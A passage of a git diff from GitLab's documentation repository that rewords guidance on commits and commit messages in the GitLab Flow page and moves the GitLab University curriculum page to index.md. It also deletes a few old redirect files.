commit. Splitting up work into individual commits provides context for developers looking at your code later. -Smaller commits make it clear how a feature was developed, and they make it easy to roll back to a specific good point in time or to revert one code change without reverting several unrelated changes. +Smaller commits make it clear how a feature was developed. They help you roll back to a specific good point in time, or to revert one code change without reverting several unrelated changes. -Committing often also makes it easy to share your work, which is important so that everyone is aware of what you are working on. +Committing often also helps you share your work, which is important so that everyone is aware of what you are working on. You should push your feature branch frequently, even when it is not yet ready for review. By sharing your work in a feature branch or [a merge request](#mergepull-requests-with-gitlab-flow), you prevent your team members from duplicating work. -Sharing your work before it's complete also allows for discussion and feedback about the changes, which can help improve the code before it gets to review. +Sharing your work before it's complete also allows for discussion and feedback about the changes. This feedback can help improve the code before it gets to review. ## How to write a good commit message  A commit message should reflect your intention, not just the contents of the commit. -It is easy to see the changes in a commit, so the commit message should explain why you made those changes. +You can see the changes in a commit, so the commit message should explain why you made those changes. An example of a good commit message is: "Combine templates to reduce duplicate code in the user views." The words "change," "improve," "fix," and "refactor" don't add much information to a commit message. For example, "Improve XML generation" could be better written as "Properly escape special characters in XML generation." For more information about formatting commit messages, please see this excellent [blog post by Tim Pope](https://tbaggery.com/2008/04/19/a-note-about-git-commit-messages.html). +To add more context to a commit message, consider adding information regarding the +origin of the change. For example, the URL of a GitLab issue, or a Jira issue number, +containing more information for users who need in-depth context about the change. + +For example: + +```plaintext +Properly escape special characters in XML generation. + +Issue: gitlab.com/gitlab-org/gitlab/-/issues/1 +``` + ## Testing before merging  @@ -311,12 +331,12 @@ In old workflows, the continuous integration (CI) server commonly ran tests on t Developers had to ensure their code did not break the `master` branch. When using GitLab flow, developers create their branches from this `master` branch, so it is essential that it never breaks. Therefore, each merge request must be tested before it is accepted. -CI software like Travis CI and GitLab CI/CD show the build results right in the merge request itself to make this easy. +CI software like Travis CI and GitLab CI/CD show the build results right in the merge request itself to simplify the process. There is one drawback to testing merge requests: the CI server only tests the feature branch itself, not the merged result. Ideally, the server could also test the `master` branch after each change. However, retesting on every commit to `master` is computationally expensive and means you are more frequently waiting for test results. -Since feature branches should be short-lived, testing just the branch is an acceptable risk. +Because feature branches should be short-lived, testing just the branch is an acceptable risk. If new commits in `master` cause merge conflicts with the feature branch, merge `master` back into the branch to make the CI server re-run the tests. As said before, if you often have feature branches that last for more than a few days, you should make your issues smaller. diff --git a/doc/topics/index.md b/doc/topics/index.md index 276cb07c250..565b436c0b0 100644 --- a/doc/topics/index.md +++ b/doc/topics/index.md @@ -19,6 +19,6 @@ tutorials, technical overviews, blog posts) and videos. - [Cron](cron/index.md) - [Git](git/index.md) - [GitLab Flow](gitlab_flow.md) -- [GitLab Installation](../install/README.md) +- [GitLab Installation](../install/index.md) - [GitLab Pages](../user/project/pages/index.md) - [Offline GitLab](offline/index.md) diff --git a/doc/university/README.md b/doc/university/README.md index 7d6ecb536a6..c815842480c 100644 --- a/doc/university/README.md +++ b/doc/university/README.md @@ -1,212 +1,8 @@ --- -stage: none -group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments -comments: false -type: index +redirect_to: 'index.md' --- -# GitLab University +This document was moved to [another location](index.md). -GitLab University is a great place to start when learning about version control with Git and GitLab, as well as other GitLab features. - -If you're looking for a GitLab subscription for _your university_, see our [GitLab for Education](https://about.gitlab.com/solutions/education/) page. - -WARNING: -Some of the content in GitLab University may be out of date and we plan to -[evaluate](https://gitlab.com/gitlab-org/gitlab/-/issues/20403) it. - -The GitLab University curriculum is composed of GitLab videos, screencasts, presentations, projects and external GitLab content hosted on other services and has been organized into the following sections: - -1. [GitLab Beginner](#1-gitlab-beginner). -1. [GitLab Intermediate](#2-gitlab-intermediate). -1. [GitLab Advanced](#3-gitlab-advanced). -1. [External Articles](#4-external-articles). -1. [Resources for GitLab Team Members](#5-resources-for-gitlab-team-members). - -## 1. GitLab Beginner - -### 1.1. Version Control and Git - -1. [Version Control Systems](https://docs.google.com/presentation/d/16sX7hUrCZyOFbpvnrAFrg6tVO5_yT98IgdAqOmXwBho/edit#slide=id.g72f2e4906_2_29) -1. [Katacoda: Learn Git Version Control using Interactive Browser-Based Scenarios](https://www.katacoda.com/courses/git) - -### 1.2. GitLab Basics - -1. [An Overview of GitLab.com - Video](https://www.youtube.com/watch?v=WaiL5DGEMR4) -1. [Why Use Git and GitLab - Slides](https://docs.google.com/a/gitlab.com/presentation/d/1RcZhFmn5VPvoFu6UMxhMOy7lAsToeBZRjLRn0LIdaNc/edit?usp=drive_web) -1. [GitLab Basics - Article](../gitlab-basics/README.md) -1. [Git and GitLab Basics - Video](https://www.youtube.com/watch?v=03wb9FvO4Ak&index=5&list=PLFGfElNsQthbQu_IWlNOxul0TbS_2JH-e) -1. [Git and GitLab Basics - Online Course](https://courses.platzi.com/classes/57-git-gitlab/2475-part-233-2/) -1. [Comparison of GitLab Versions](https://about.gitlab.com/features/#compare) - -### 1.3. Your GitLab Account - -1. [Create a GitLab Account - Online Course](https://courses.platzi.com/classes/57-git-gitlab/2434-create-an-account-on-gitlab/) -1. [Create and Add your SSH key to GitLab - Video](https://www.youtube.com/watch?v=54mxyLo3Mqk) - -### 1.4. GitLab Projects - -1. [Repositories, Projects and Groups - Video](https://www.youtube.com/watch?v=4TWfh1aKHHw&index=1&list=PLFGfElNsQthbQu_IWlNOxul0TbS_2JH-e) -1. [Creating a Project in GitLab - Video](https://www.youtube.com/watch?v=7p0hrpNaJ14) -1. [How to Create Files and Directories](https://about.gitlab.com/blog/2016/02/10/feature-highlight-create-files-and-directories-from-files-page/) -1. [GitLab To-Do List](https://about.gitlab.com/blog/2016/03/02/gitlab-todos-feature-highlight/) -1. [GitLab Work in Progress (WIP) Flag](https://about.gitlab.com/blog/2016/01/08/feature-highlight-wip/) - -### 1.5. Migrating from other Source Control - -1. [Migrating from Bitbucket/Stash](../user/project/import/bitbucket.md) -1. [Migrating from GitHub](../user/project/import/github.md) -1. [Migrating from SVN](../user/project/import/svn.md) -1. [Migrating from Fogbugz](../user/project/import/fogbugz.md) - -### 1.6. The GitLab team - -1. [About GitLab](https://about.gitlab.com/company/) -1. [GitLab Direction](https://about.gitlab.com/direction/) -1. [GitLab Master Plan](https://about.gitlab.com/blog/2016/09/13/gitlab-master-plan/) -1. [Making GitLab Great for Everyone - Video](https://www.youtube.com/watch?v=GGC40y4vMx0) - Response to "Dear GitHub" letter -1. [Using Innersourcing to Improve Collaboration](https://about.gitlab.com/blog/2014/09/05/innersourcing-using-the-open-source-workflow-to-improve-collaboration-within-an-organization/) -1. [The Software Development Market and GitLab - Video](https://www.youtube.com/watch?v=sXlhgPK1NTY&list=PLFGfElNsQthbQu_IWlNOxul0TbS_2JH-e&index=6) - [Slides](https://docs.google.com/presentation/d/1vCU-NbZWz8NTNK8Vu3y4zGMAHb5DpC8PE5mHtw1PWfI/edit) -1. [GitLab Resources](https://about.gitlab.com/resources/) - -### 1.7 Community and Support - -1. [Getting Help](https://about.gitlab.com/get-help/) - - Proposing Features and Reporting and Tracking bugs for GitLab - - The GitLab IRC channel, Gitter Chat Room, Community Forum, and Mailing List - - Getting Technical Support - - Being part of our Great Community and Contributing to GitLab -1. [Getting Started with the GitLab Development Kit (GDK)](https://about.gitlab.com/blog/2016/06/08/getting-started-with-gitlab-development-kit/) -1. [GitLab Professional Services](https://about.gitlab.com/services/) - -### 1.8 GitLab Training Material - -1. [Git and GitLab Workshop - Slides](https://docs.google.com/presentation/d/1JzTYD8ij9slejV2-TO-NzjCvlvj6mVn9BORePXNJoMI/edit?usp=drive_web) - -## 2. GitLab Intermediate - -### 2.1 GitLab Pages - -1. [Using any Static Site Generator with GitLab Pages](https://about.gitlab.com/blog/2016/06/17/ssg-overview-gitlab-pages-part-3-examples-ci/) -1. [Securing GitLab Pages with SSL](https://about.gitlab.com/blog/2016/06/24/secure-gitlab-pages-with-startssl/) -1. [GitLab Pages Documentation](../user/project/pages/index.md) - -### 2.2. GitLab Issues - -1. [Markdown in GitLab](../user/markdown.md) -1. [Issues and Merge Requests - Video](https://www.youtube.com/watch?v=raXvuwet78M) -1. [Due Dates and Milestones for GitLab Issues](https://about.gitlab.com/blog/2016/08/05/feature-highlight-set-dates-for-issues/) -1. [How to Use GitLab Labels](https://about.gitlab.com/blog/2016/08/17/using-gitlab-labels/) -1. [Applying GitLab Labels Automatically](https://about.gitlab.com/blog/2016/08/19/applying-gitlab-labels-automatically/) -1. [GitLab Issue Board - Product Page](https://about.gitlab.com/stages-devops-lifecycle/issueboard/) -1. [An Overview of GitLab Issue Board](https://about.gitlab.com/blog/2016/08/22/announcing-the-gitlab-issue-board/) -1. [Designing GitLab Issue Board](https://about.gitlab.com/blog/2016/08/31/designing-issue-boards/) -1. [From Idea to Production with GitLab - Video](https://www.youtube.com/watch?v=25pHyknRgEo&index=14&list=PLFGfElNsQthbQu_IWlNOxul0TbS_2JH-e) - -### 2.3. Continuous Integration - -1. [Operating Systems, Servers, VMs, Containers and Unix - Video](https://www.youtube.com/watch?v=V61kL6IC-zY&index=8&list=PLFGfElNsQthbQu_IWlNOxul0TbS_2JH-e) -1. [GitLab CI/CD - Product Page](https://about.gitlab.com/stages-devops-lifecycle/continuous-integration/) -1. [Getting started with GitLab and GitLab CI](https://about.gitlab.com/blog/2015/12/14/getting-started-with-gitlab-and-gitlab-ci/) -1. [GitLab Container Registry](https://about.gitlab.com/blog/2016/05/23/gitlab-container-registry/) -1. [GitLab and Docker - Video](https://www.youtube.com/watch?v=ugOrCcbdHko&index=12&list=PLFGfElNsQthbQu_IWlNOxul0TbS_2JH-e) -1. [How we scale GitLab with built in Docker](https://about.gitlab.com/blog/2016/06/21/how-we-scale-gitlab-by-having-docker-built-in/) -1. [Continuous Integration, Delivery, and Deployment with GitLab](https://about.gitlab.com/blog/2016/08/05/continuous-integration-delivery-and-deployment-with-gitlab/) -1. [Deployments and Environments](https://about.gitlab.com/blog/2016/08/26/ci-deployment-and-environments/) -1. [Sequential, Parallel or Custom Pipelines](https://about.gitlab.com/blog/2016/07/29/the-basics-of-gitlab-ci/) -1. [Setting up GitLab Runner For Continuous Integration](https://about.gitlab.com/blog/2016/03/01/gitlab-runner-with-docker/) -1. [Setting up GitLab Runner on DigitalOcean](https://about.gitlab.com/blog/2016/04/19/how-to-set-up-gitlab-runner-on-digitalocean/) -1. [Setting up GitLab CI for iOS projects](https://about.gitlab.com/blog/2016/03/10/setting-up-gitlab-ci-for-ios-projects/) -1. [IBM: Continuous Delivery vs Continuous Deployment - Video](https://www.youtube.com/watch?v=igwFj8PPSnw) -1. [Amazon: Transition to Continuous Delivery - Video](https://www.youtube.com/watch?v=esEFaY0FDKc) -1. [TechBeacon: Doing continuous delivery? Focus first on reducing release cycle times](https://techbeacon.com/devops/doing-continuous-delivery-focus-first-reducing-release-cycle-times) -1. See **[Integrations](#39-integrations)** for integrations with other CI services. - -### 2.4. Workflow - -1. [GitLab Flow - Video](https://youtu.be/enMumwvLAug?list=PLFGfElNsQthZnwMUFi6rqkyUZkI00OxIV) -1. [GitLab Flow vs Forking in GitLab - Video](https://www.youtube.com/watch?v=UGotqAUACZA) -1. [GitLab Flow Overview](https://about.gitlab.com/blog/2014/09/29/gitlab-flow/) -1. [Always Start with an Issue](https://about.gitlab.com/blog/2016/03/03/start-with-an-issue/) -1. [GitLab Flow Documentation](../topics/gitlab_flow.md) - -### 2.5. GitLab Comparisons - -1. [GitLab Compared to Other Tools](https://about.gitlab.com/devops-tools/) -1. [Comparing GitLab Terminology](https://about.gitlab.com/blog/2016/01/27/comparing-terms-gitlab-github-bitbucket/) -1. [GitLab Compared to Atlassian (Recording 2016-03-03)](https://youtu.be/Nbzp1t45ERo) -1. [GitLab Position FAQ](https://about.gitlab.com/handbook/positioning-faq/) -1. [Customer review of GitLab with points on why they prefer GitLab](https://www.enovate.co.uk/blog/2015/11/25/gitlab-review) - -## 3. GitLab Advanced - -### 3.1. DevOps - -1. [XebiaLabs: DevOps Terminology](https://digital.ai/glossary) -1. [XebiaLabs: Periodic Table of DevOps Tools](https://digital.ai/periodic-table-of-devops-tools) -1. [Puppet Labs: State of DevOps 2016 - Book](https://puppet.com/resources/report/2016-state-devops-report/) - -### 3.2. Installing GitLab with Omnibus - -1. [What is Omnibus - Video](https://www.youtube.com/watch?v=XTmpKudd-Oo) -1. [How to Install GitLab with Omnibus - Video](https://www.youtube.com/watch?v=Q69YaOjqNhg) -1. [Installing GitLab - Online Course](https://courses.platzi.com/classes/57-git-gitlab/2476-part-0/) -1. [Using a Non-Packaged PostgreSQL Database](https://gitlab.com/gitlab-org/omnibus-gitlab/blob/master/README.md#using-a-non-packaged-postgresql-database-management-server) -1. [Installing GitLab on Microsoft Azure](https://about.gitlab.com/blog/2016/07/13/how-to-setup-a-gitlab-instance-on-microsoft-azure/) -1. [Installing GitLab on Digital Ocean](https://about.gitlab.com/blog/2016/04/27/getting-started-with-gitlab-and-digitalocean/) - -### 3.3. Permissions - -1. [How to Manage Permissions in GitLab EE - Video](https://www.youtube.com/watch?v=DjUoIrkiNuM) - -### 3.4. Large Files - -1. [Big files in Git (Git LFS) - Video](https://www.youtube.com/watch?v=DawznUxYDe4) - -### 3.5. LDAP and Active Directory - -1. [How to Manage LDAP, Active Directory in GitLab - Video](https://www.youtube.com/watch?v=HPMjM-14qa8) - -### 3.6 Custom Languages - -1. [How to add Syntax Highlighting Support for Custom Languages to GitLab - Video](https://youtu.be/6WxTMqatrrA) - -### 3.7. Scalability and High Availability - -1. [Scalability and High Availability - Video](https://www.youtube.com/watch?v=cXRMJJb6sp4&list=PLFGfElNsQthbQu_IWlNOxul0TbS_2JH-e&index=2) -1. [High Availability - Video](https://www.youtube.com/watch?v=36KS808u6bE&index=15&list=PLFGfElNsQthbQu_IWlNOxul0TbS_2JH-e) -1. [High Availability Documentation](https://about.gitlab.com/solutions/reference-architectures/) - -### 3.8 Value Stream Analytics - -1. [GitLab Value Stream Analytics Overview (as of 2016)](https://about.gitlab.com/blog/2016/09/21/cycle-analytics-feature-highlight/) -1. [GitLab Value Stream Analytics - Product Page](https://about.gitlab.com/stages-devops-lifecycle/value-stream-analytics/) - -### 3.9. Integrations - -1. [How to Integrate Jira and Jenkins with GitLab - Video](https://gitlabmeetings.webex.com/gitlabmeetings/ldr.php?RCID=44b548147a67ab4d8a62274047146415) -1. [How to Integrate Jira with GitLab](../user/project/integrations/jira.md) -1. [How to Integrate Jenkins with GitLab](../integration/jenkins.md) -1. [How to Integrate Bamboo with GitLab](../user/project/integrations/bamboo.md) -1. [How to Integrate Slack with GitLab](../user/project/integrations/slack.md) -1. [How to Integrate Convox with GitLab](https://about.gitlab.com/blog/2016/06/09/continuous-delivery-with-gitlab-and-convox/) -1. [Getting Started with GitLab and Shippable CI](https://about.gitlab.com/blog/2016/05/05/getting-started-gitlab-and-shippable/) - -## 4. External Articles - -1. [2011 WSJ article by Marc Andreessen - Software is Eating the World](https://www.wsj.com/articles/SB10001424053111903480904576512250915629460) -1. [2014 Blog post by Chris Dixon - Software eats software development](https://cdixon.org/2014/04/13/software-eats-software-development/) -1. [2015 Venture Beat article - Actually, Open Source is Eating the World](https://venturebeat.com/2015/12/06/its-actually-open-source-software-thats-eating-the-world/) - -## 5. Resources for GitLab Team Members - -NOTE: -Some content can only be accessed by GitLab team members. - -1. [Sales Path](https://about.gitlab.com/handbook/sales/onboarding/) -1. [User Training](training/user_training.md) -1. [GitLab Flow Training](training/gitlab_flow.md) -1. [Training Topics](training/index.md) -1. [GitLab architecture](../development/architecture.md) -1. [Client Assessment of GitLab versus GitHub](https://docs.google.com/a/gitlab.com/spreadsheets/d/18cRF9Y5I6I7Z_ab6qhBEW55YpEMyU4PitZYjomVHM-M/edit?usp=sharing) +<!-- This redirect file can be deleted after 2021-05-11. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/university/bookclub/booklist.md b/doc/university/bookclub/booklist.md deleted file mode 100644 index c0251229916..00000000000 --- a/doc/university/bookclub/booklist.md +++ /dev/null @@ -1,5 +0,0 @@ ---- -redirect_to: 'https://docs.gitlab.com' ---- - -Visit our [documentation page](https://docs.gitlab.com) for information about GitLab. diff --git a/doc/university/bookclub/index.md b/doc/university/bookclub/index.md deleted file mode 100644 index c0251229916..00000000000 --- a/doc/university/bookclub/index.md +++ /dev/null @@ -1,5 +0,0 @@ ---- -redirect_to: 'https://docs.gitlab.com' ---- - -Visit our [documentation page](https://docs.gitlab.com) for information about GitLab. diff --git a/doc/university/glossary/README.md b/doc/university/glossary/README.md deleted file mode 100644 index c0251229916..00000000000 --- a/doc/university/glossary/README.md +++ /dev/null @@ -1,5 +0,0 @@ ---- -redirect_to: 'https://docs.gitlab.com' ---- - -Visit our [documentation page](https://docs.gitlab.com) for information about GitLab. diff --git a/doc/university/high-availability/aws/README.md b/doc/university/high-availability/aws/README.md deleted file mode 100644 index cfaeea8f5c2..00000000000 --- a/doc/university/high-availability/aws/README.md +++ /dev/null @@ -1,8 +0,0 @@ ---- -redirect_to: '../../../install/aws/index.md' ---- - -This document was moved to [another location](../../../install/aws/index.md). - -<!-- This redirect file can be deleted after February 1, 2021. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/university/index.md b/doc/university/index.md new file mode 100644 index 00000000000..8b6c2d834f9 --- /dev/null +++ b/doc/university/index.md @@ -0,0 +1,223 @@ +--- +stage: none +group: unassigned +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments +comments: false +type: index +--- + +# GitLab University + +GitLab University is a great place to start when learning about version control with Git and GitLab, as well as other GitLab features. + +If you're looking for a GitLab subscription for _your university_, see our [GitLab for Education](https://about.gitlab.com/solutions/education/) page. + +WARNING: +Some of the content in GitLab University may be out of date and we plan to +[evaluate](https://gitlab.com/gitlab-org/gitlab/-/issues/20403) it. + +The GitLab University curriculum is composed of GitLab videos, screencasts, presentations, projects and external GitLab content hosted on other services and has been organized into the following sections: + +1. [GitLab Beginner](#1-gitlab-beginner). +1. [GitLab Intermediate](#2-gitlab-intermediate). +1. [GitLab Advanced](#3-gitlab-advanced). +1. [External Articles](#4-external-articles). +1. [Resources for GitLab Team Members](#5-resources-for-gitlab-team-members). + +## 1. GitLab Beginner + +### 1.1. Version Control and Git + +<!-- vale gitlab.Spelling = NO --> + +1. [Version Control Systems](https://docs.google.com/presentation/d/16sX7hUrCZyOFbpvnrAFrg6tVO5_yT98IgdAqOmXwBho/edit#slide=id.g72f2e4906_2_29) +1. [Katacoda: Learn Git Version Control using Interactive Browser-Based Scenarios](https://www.katacoda.com/courses/git) + +<!-- vale gitlab.Spelling = YES --> + +### 1.2. GitLab Basics + +1. [An Overview of GitLab.com - Video](https://www.youtube.com/watch?v=WaiL5DGEMR4) +1. [Why Use Git and GitLab - Slides](https://docs.google.com/a/gitlab.com/presentation/d/1RcZhFmn5VPvoFu6UMxhMOy7lAsToeBZRjLRn0LIdaNc/edit?usp=drive_web) +1. [GitLab Basics - Article](../gitlab-basics/index.md) +1. [Git and GitLab Basics - Video](https://www.youtube.com/watch?v=03wb9FvO4Ak&index=5&list=PLFGfElNsQthbQu_IWlNOxul0TbS_2JH-e) +1. [Git and GitLab Basics - Online Course](https://courses.platzi.com/classes/57-git-gitlab/2475-part-233-2/) +1. [Comparison of GitLab Versions](https://about.gitlab.com/features/#compare) + +### 1.3. Your GitLab Account + +1. [Create a GitLab Account - Online Course](https://courses.platzi.com/classes/57-git-gitlab/2434-create-an-account-on-gitlab/) +1. [Create and Add your SSH key to GitLab - Video](https://www.youtube.com/watch?v=54mxyLo3Mqk) + +### 1.4. GitLab Projects + +1. [Repositories, Projects and Groups - Video](https://www.youtube.com/watch?v=4TWfh1aKHHw&index=1&list=PLFGfElNsQthbQu_IWlNOxul0TbS_2JH-e) +1. [Creating a Project in GitLab - Video](https://www.youtube.com/watch?v=7p0hrpNaJ14) +1. [How to Create Files and Directories](https://about.gitlab.com/blog/2016/02/10/feature-highlight-create-files-and-directories-from-files-page/) +1. [GitLab To-Do List](https://about.gitlab.com/blog/2016/03/02/gitlab-todos-feature-highlight/) +1. [GitLab Work in Progress (WIP) Flag](https://about.gitlab.com/blog/2016/01/08/feature-highlight-wip/) + +### 1.5. Migrating from other Source Control + +<!-- vale gitlab.Spelling = NO --> + +1. [Migrating from Bitbucket/Stash](../user/project/import/bitbucket.md) +1. [Migrating from GitHub](../user/project/import/github.md) +1. [Migrating from SVN](../user/project/import/svn.md) +1. [Migrating from Fogbugz](../user/project/import/fogbugz.md) + +<!-- vale gitlab.Spelling = YES --> +### 1.6. The GitLab team + +1. [About GitLab](https://about.gitlab.com/company/) +1. [GitLab Direction](https://about.gitlab.com/direction/) +1. [GitLab Master Plan](https://about.gitlab.com/blog/2016/09/13/gitlab-master-plan/) +1. [Making GitLab Great for Everyone - Video](https://www.youtube.com/watch?v=GGC40y4vMx0) - Response to "Dear GitHub" letter +1. [Using Innersourcing to Improve Collaboration](https://about.gitlab.com/blog/2014/09/05/innersourcing-using-the-open-source-workflow-to-improve-collaboration-within-an-organization/) +1. [The Software Development Market and GitLab - Video](https://www.youtube.com/watch?v=sXlhgPK1NTY&list=PLFGfElNsQthbQu_IWlNOxul0TbS_2JH-e&index=6) - [Slides](https://docs.google.com/presentation/d/1vCU-NbZWz8NTNK8Vu3y4zGMAHb5DpC8PE5mHtw1PWfI/edit) +1. [GitLab Resources](https://about.gitlab.com/resources/) + +### 1.7 Community and Support + +1. [Getting Help](https://about.gitlab.com/get-help/) + - Proposing Features and Reporting and Tracking bugs for GitLab + - The GitLab IRC channel, Gitter Chat Room, Community Forum, and Mailing List + - Getting Technical Support + - Being part of our Great Community and Contributing to GitLab +1. [Getting Started with the GitLab Development Kit (GDK)](https://about.gitlab.com/blog/2016/06/08/getting-started-with-gitlab-development-kit/) +1. [GitLab Professional Services](https://about.gitlab.com/services/) + +### 1.8 GitLab Training Material + +1. [Git and GitLab Workshop - Slides](https://docs.google.com/presentation/d/1JzTYD8ij9slejV2-TO-NzjCvlvj6mVn9BORePXNJoMI/edit?usp=drive_web) + +## 2. GitLab Intermediate + +### 2.1 GitLab Pages + +1. [Using any Static Site Generator with GitLab Pages](https://about.gitlab.com/blog/2016/06/17/ssg-overview-gitlab-pages-part-3-examples-ci/) +1. [Securing GitLab Pages with SSL](https://about.gitlab.com/blog/2016/06/24/secure-gitlab-pages-with-startssl/) +1. [GitLab Pages Documentation](../user/project/pages/index.md) + +### 2.2. GitLab Issues + +1. [Markdown in GitLab](../user/markdown.md) +1. [Issues and Merge Requests - Video](https://www.youtube.com/watch?v=raXvuwet78M) +1. [Due Dates and Milestones for GitLab Issues](https://about.gitlab.com/blog/2016/08/05/feature-highlight-set-dates-for-issues/) +1. [How to Use GitLab Labels](https://about.gitlab.com/blog/2016/08/17/using-gitlab-labels/) +1. [Applying GitLab Labels Automatically](https://about.gitlab.com/blog/2016/08/19/applying-gitlab-labels-automatically/) +1. [GitLab Issue Board - Product Page](https://about.gitlab.com/stages-devops-lifecycle/issueboard/) +1. [An Overview of GitLab Issue Board](https://about.gitlab.com/blog/2016/08/22/announcing-the-gitlab-issue-board/) +1. [Designing GitLab Issue Board](https://about.gitlab.com/blog/2016/08/31/designing-issue-boards/) +1. [From Idea to Production with GitLab - Video](https://www.youtube.com/watch?v=25pHyknRgEo&index=14&list=PLFGfElNsQthbQu_IWlNOxul0TbS_2JH-e) + +### 2.3. Continuous Integration + +1. [Operating Systems, Servers, VMs, Containers and Unix - Video](https://www.youtube.com/watch?v=V61kL6IC-zY&index=8&list=PLFGfElNsQthbQu_IWlNOxul0TbS_2JH-e) +1. [GitLab CI/CD - Product Page](https://about.gitlab.com/stages-devops-lifecycle/continuous-integration/) +1. [Getting started with GitLab and GitLab CI](https://about.gitlab.com/blog/2015/12/14/getting-started-with-gitlab-and-gitlab-ci/) +1. [GitLab Container Registry](https://about.gitlab.com/blog/2016/05/23/gitlab-container-registry/) +1. [GitLab and Docker - Video](https://www.youtube.com/watch?v=ugOrCcbdHko&index=12&list=PLFGfElNsQthbQu_IWlNOxul0TbS_2JH-e) +1. [How we scale GitLab with built in Docker](https://about.gitlab.com/blog/2016/06/21/how-we-scale-gitlab-by-having-docker-built-in/) +1. [Continuous Integration, Delivery, and Deployment with GitLab](https://about.gitlab.com/blog/2016/08/05/continuous-integration-delivery-and-deployment-with-gitlab/) +1. [Deployments and Environments](https://about.gitlab.com/blog/2016/08/26/ci-deployment-and-environments/) +1. [Sequential, Parallel or Custom Pipelines](https://about.gitlab.com/blog/2016/07/29/the-basics-of-gitlab-ci/) +1. [Setting up GitLab Runner For Continuous Integration](https://about.gitlab.com/blog/2016/03/01/gitlab-runner-with-docker/) +1. [Setting up GitLab Runner on DigitalOcean](https://about.gitlab.com/blog/2016/04/19/how-to-set-up-gitlab-runner-on-digitalocean/) +1. [Setting up GitLab CI for iOS projects](https://about.gitlab.com/blog/2016/03/10/setting-up-gitlab-ci-for-ios-projects/) +1. [IBM: Continuous Delivery vs Continuous Deployment - Video](https://www.youtube.com/watch?v=igwFj8PPSnw) +1. [Amazon: Transition to Continuous Delivery - Video](https://www.youtube.com/watch?v=esEFaY0FDKc) +1. [TechBeacon: Doing continuous delivery? Focus first on reducing release cycle times](https://techbeacon.com/devops/doing-continuous-delivery-focus-first-reducing-release-cycle-times) +1. See **[Integrations](#39-integrations)** for integrations with other CI services. + +### 2.4. Workflow + +1. [GitLab Flow - Video](https://youtu.be/enMumwvLAug?list=PLFGfElNsQthZnwMUFi6rqkyUZkI00OxIV) +1. [GitLab Flow vs Forking in GitLab - Video](https://www.youtube.com/watch?v=UGotqAUACZA) +1. [GitLab Flow Overview](https://about.gitlab.com/blog/2014/09/29/gitlab-flow/) +1. [Always Start with an Issue](https://about.gitlab.com/blog/2016/03/03/start-with-an-issue/) +1. [GitLab Flow Documentation](../topics/gitlab_flow.md) + +### 2.5. GitLab Comparisons + +1. [GitLab Compared to Other Tools](https://about.gitlab.com/devops-tools/) +1. [Comparing GitLab Terminology](https://about.gitlab.com/blog/2016/01/27/comparing-terms-gitlab-github-bitbucket/) +1. [GitLab Compared to Atlassian (Recording 2016-03-03)](https://youtu.be/Nbzp1t45ERo) +1. [GitLab Position FAQ](https://about.gitlab.com/handbook/positioning-faq/) +1. [Customer review of GitLab with points on why they prefer GitLab](https://www.enovate.co.uk/blog/2015/11/25/gitlab-review) + +## 3. GitLab Advanced + +### 3.1. DevOps + +1. [XebiaLabs: DevOps Terminology](https://digital.ai/glossary) +1. [XebiaLabs: Periodic Table of DevOps Tools](https://digital.ai/periodic-table-of-devops-tools) +1. [Puppet Labs: State of DevOps 2016 - Book](https://puppet.com/resources/report/2016-state-devops-report/) + +### 3.2. Installing GitLab with Omnibus + +1. [What is Omnibus - Video](https://www.youtube.com/watch?v=XTmpKudd-Oo) +1. [How to Install GitLab with Omnibus - Video](https://www.youtube.com/watch?v=Q69YaOjqNhg) +1. [Installing GitLab - Online Course](https://courses.platzi.com/classes/57-git-gitlab/2476-part-0/) +1. [Using a Non-Packaged PostgreSQL Database](https://gitlab.com/gitlab-org/omnibus-gitlab/blob/master/README.md#using-a-non-packaged-postgresql-database-management-server) +1. [Installing GitLab on Microsoft Azure](https://about.gitlab.com/blog/2016/07/13/how-to-setup-a-gitlab-instance-on-microsoft-azure/) +1. [Installing GitLab on Digital Ocean](https://about.gitlab.com/blog/2016/04/27/getting-started-with-gitlab-and-digitalocean/) + +### 3.3. Permissions + +1. [How to Manage Permissions in GitLab EE - Video](https://www.youtube.com/watch?v=DjUoIrkiNuM) + +### 3.4. Large Files + +1. [Big files in Git (Git LFS) - Video](https://www.youtube.com/watch?v=DawznUxYDe4) + +### 3.5. LDAP and Active Directory + +1. [How to Manage LDAP, Active Directory in GitLab - Video](https://www.youtube.com/watch?v=HPMjM-14qa8) + +### 3.6 Custom Languages + +1. [How to add Syntax Highlighting Support for Custom Languages to GitLab - Video](https://youtu.be/6WxTMqatrrA) + +### 3.7. Scalability and High Availability + +1. [Scalability and High Availability - Video](https://www.youtube.com/watch?v=cXRMJJb6sp4&list=PLFGfElNsQthbQu_IWlNOxul0TbS_2JH-e&index=2) +1. [High Availability - Video](https://www.youtube.com/watch?v=36KS808u6bE&index=15&list=PLFGfElNsQthbQu_IWlNOxul0TbS_2JH-e) +1. [High Availability Documentation](https://about.gitlab.com/solutions/reference-architectures/) + +### 3.8 Value Stream Analytics + +1. [GitLab Value Stream Analytics Overview (as of 2016)](https://about.gitlab.com/blog/2016/09/21/cycle-analytics-feature-highlight/) +1. [GitLab Value Stream Analytics - Product Page](https://about.gitlab.com/stages-devops-lifecycle/value-stream-analytics/) + +### 3.9. Integrations + +<!-- vale gitlab.Spelling = NO --> + +1. [How to Integrate Jira and Jenkins with GitLab - Video](https://gitlabmeetings.webex.com/gitlabmeetings/ldr.php?RCID=44b548147a67ab4d8a62274047146415) +1. [How to Integrate Jira with GitLab](../user/project/integrations/jira.md) +1. [How to Integrate Jenkins with GitLab](../integration/jenkins.md) +1. [How to Integrate Bamboo with GitLab](../user/project/integrations/bamboo.md) +1. [How to Integrate Slack with GitLab](../user/project/integrations/slack.md) +1. [How to Integrate Convox with GitLab](https://about.gitlab.com/blog/2016/06/09/continuous-delivery-with-gitlab-and-convox/) +1. [Getting Started with GitLab and Shippable CI](https://about.gitlab.com/blog/2016/05/05/getting-started-gitlab-and-shippable/) + +<!-- vale gitlab.Spelling = YES --> + +## 4. External Articles + +1. [2011 Wall Street Journal article - Software is Eating the World](https://www.wsj.com/articles/SB10001424053111903480904576512250915629460) +1. [2014 Blog post by Chris 